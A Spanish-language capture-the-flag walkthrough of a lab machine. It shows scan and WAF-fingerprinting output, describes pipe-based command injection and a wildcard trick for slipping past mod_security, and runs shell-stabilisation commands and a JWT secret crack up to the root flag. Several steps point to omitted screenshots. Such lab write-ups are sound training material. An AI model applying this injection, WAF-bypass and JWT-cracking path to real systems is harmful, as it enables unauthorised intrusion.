Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-14 11:51 EDT
Nmap scan report for 192.168.5.187
Host is up (0.00032s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.27
|_http-server-header: Apache/2.4.27 (Ubuntu)
|_http-title: 403 Forbidden
MAC Address: 00:0C:29:55:1B:04 (VMware)
Service Info: Host: 127.0.1.1
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.66 seconds
dirb
Info:
Nos descubre un .php interesante, si nos metemos dentro del el...
Veremos una web poco rellena, pero si le damos al boton llamado Read last visitor data vemos que la URL cambia a un parametro el cual esta leyendo a last.html quedando de la siguiente manera...
Y vemos que el contenido se visualiza en la cabezera de la pagina, por lo que intentaremos hacer un LFI (Local File Inclusion)...
Vamos hacer fuerza bruta...
wfuzz
En mi caso cuando tiro el siguiente comando para ver si es vulnerable o no, me parecen muchas coincidencias, por lo que filtraremos por los numeros que se repiten mas, que seria en el parametro de Lineas, por lo que nos lo guardaremos en un archivo...
Y ahora con grep grepeamos los numeros que no sean 40 y 11 que son los que mas se repiten...
Info:
Con esto vemos que con los comandos | id y | dir podemos ejecutar comandos para ver el id o listar, por lo que sabemos que si es inyectable utilizando pipes...
Si hacemos por ejemplo esto...
Info:
Por lo que veremos que ciertamente es vulnerable...
Si hacemos lo siguiente...
Info:
Vemos que tiene un FireWall protegiendo por detras estas inyecciones de codigos, por lo que haremos lo siguiente...
/usr/local/lib/python3.11/dist-packages/requests-2.20.0-py3.11.egg/requests/__init__.py:89: RequestsDependencyWarning: urllib3 (1.26.18) or chardet (5.2.0) doesn't match a supported version!
warnings.warn("urllib3 ({}) or chardet ({}) doesn't match a supported "
______
/ \
( W00f! )
\ ____/
,, __ 404 Hack Not Found
|`-.__ / / __ __
/" _/ /_/ \ \ / /
*===* / \ \_/ / 405 Not Allowed
/ )__// \ /
/| / /---` 403 Forbidden
\\/` \ | / _ \
`\ /_\\_ 502 Bad Gateway / / \ \ 500 Internal Error
`_____``-` /_/ \_\
~ WAFW00F : v2.2.0 ~
The Web Application Firewall Fingerprinting Toolkit
[*] Checking http://192.168.5.187
[+] Generic Detection results:
[*] The site http://192.168.5.187 seems to be behind a WAF or some sort of security solution
[~] Reason: The response was different when the request wasn't made from a browser.
Normal response code is "200", while the response code to a modified request is "403"
[~] Number of requests: 4
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
jwt-cracker -t 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.pn55j1CFpcLjvReaqyJr0BPEMYUsBdoDxEPo6Ft9cwg' -a --max
SECRET FOUND: mlnVl
su root
__ __ _ _ _ __
| \/ (_) | | | | /_ |
| \ / |_ _ __ | | | |_ _| |
| |\/| | | '_ \| | | \ \ / / |
| | | | | | | | |__| |\ V /| |
|_| |_|_|_| |_|\____/ \_/ |_|
# You got r00t!
flag{c89031ac1b40954bb9a0589adcb6d174}
# You probably know this by now but the webserver on this challenge is
# protected by mod_security and the owasp crs 3.0 project on paranoia level 3.
# The webpage is so poorly coded that even this configuration can be bypassed
# by using the bash wildcard ? that allows mod_security to let the command through.
# At least that is how the challenge was designed ;)
# Let me know if you got here using another method!
# contact@8bitsec.io
# @_8bitsec